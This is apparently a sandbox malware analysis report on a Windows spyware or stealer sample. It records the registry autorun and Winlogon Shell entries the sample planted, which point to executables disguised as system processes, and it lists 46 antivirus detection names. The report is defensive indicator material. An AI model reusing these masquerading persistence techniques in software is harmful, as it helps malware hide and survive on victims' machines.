reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Documents and Settings\SearchProtocolHost.exe", "C:\Python27\click\click\click_image\pw.exe", "C:\Windows\LiveKernelReports\pw.exe", "C:\Windows\Temp\Crashpad\reports\System.exe", "C:\Windows\System32\onexui\wininit.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\wininit	reg_value	"C:\Windows\System32\onexui\wininit.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit	reg_value	"C:\Windows\System32\onexui\wininit.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Documents and Settings\SearchProtocolHost.exe", "C:\Python27\click\click\click_image\pw.exe", "C:\Windows\LiveKernelReports\pw.exe", "C:\Windows\Temp\Crashpad\reports\System.exe", "C:\Windows\System32\onexui\wininit.exe", "C:\Windows\System32\RegisterIEPKEYs\csrss.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\csrss	reg_value	"C:\Windows\System32\RegisterIEPKEYs\csrss.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\csrss	reg_value	"C:\Windows\System32\RegisterIEPKEYs\csrss.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell	reg_value	explorer.exe, "C:\Documents and Settings\SearchProtocolHost.exe", "C:\Python27\click\click\click_image\pw.exe", "C:\Windows\LiveKernelReports\pw.exe", "C:\Windows\Temp\Crashpad\reports\System.exe", "C:\Windows\System32\onexui\wininit.exe", "C:\Windows\System32\RegisterIEPKEYs\csrss.exe", "C:\Windows\System32\KBDIULAT\taskhost.exe"
reg_key	HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\taskhost	reg_value	"C:\Windows\System32\KBDIULAT\taskhost.exe"
reg_key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\taskhost	reg_value	"C:\Windows\System32\KBDIULAT\taskhost.exe"

File has been identified by 46 AntiVirus engines on VirusTotal as malicious (46 events)

Lionic	Trojan.Win32.Basic.4!c
Elastic	malicious (high confidence)
MicroWorld-eScan	Trojan.MSIL.Basic.8.Gen
FireEye	Generic.mg.cc982bb10719da03
CAT-QuickHeal	Trojan.YakbeexMSIL.ZZ4
McAfee	GenericRXPF-LQ!CC982BB10719
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
K7AntiVirus	Spyware ( 004bf53c1 )
Alibaba	TrojanSpy:Win32/Stealer.7365ac94
K7GW	Spyware ( 004bf53c1 )
Cybereason	malicious.10719d
Arcabit	Trojan.MSIL.Basic.8.Gen
BitDefenderTheta	Gen:NN.ZemsilF.34050.Sm0@aSBbtRmi
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/Spy.Agent.AES
TrendMicro-HouseCall	TROJ_GEN.R002C0DGR21
Paloalto	generic.ml
ClamAV	Win.Packed.Uztuby-9853721-0
Kaspersky	HEUR:Trojan-Spy.MSIL.Stealer.gen
BitDefender	Trojan.MSIL.Basic.8.Gen
Avast	Win32:KeyloggerX-gen [Trj]
Ad-Aware	Trojan.MSIL.Basic.8.Gen
Sophos	Mal/SpyNoon-A
DrWeb	BackDoor.QuasarNET.3
TrendMicro	TROJ_GEN.R002C0DGR21
McAfee-GW-Edition	GenericRXPF-LQ!CC982BB10719
SentinelOne	Static AI - Malicious PE
Emsisoft	Trojan.MSIL.Basic.8.Gen (B)
APEX	Malicious
Avira	TR/Spy.Agent.oilfv
Kingsoft	Win32.Troj.Undef.(kcloud)
Microsoft	Trojan:Win32/Spy.BYF!MTB
GData	Trojan.MSIL.Basic.8.Gen
Cynet	Malicious (score: 99)
AhnLab-V3	Trojan/Win.Spy.C4559049
VBA32	TScope.Trojan.MSIL
ALYac	Trojan.MSIL.Basic.8.Gen
MAX	malware (ai score=82)
Tencent	Msil.Trojan.Msil.Tbim
Ikarus	Trojan.MSIL.Spy
Fortinet	MSIL/Agent.BYF!tr.spy
AVG	Win32:KeyloggerX-gen [Trj]
Panda	Trj/GdSda.A
CrowdStrike	win/malicious_confidence_100% (W)
Qihoo-360	Win32/Trojan.Generic.HwMAueAA

reviewwinfontrefperf.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All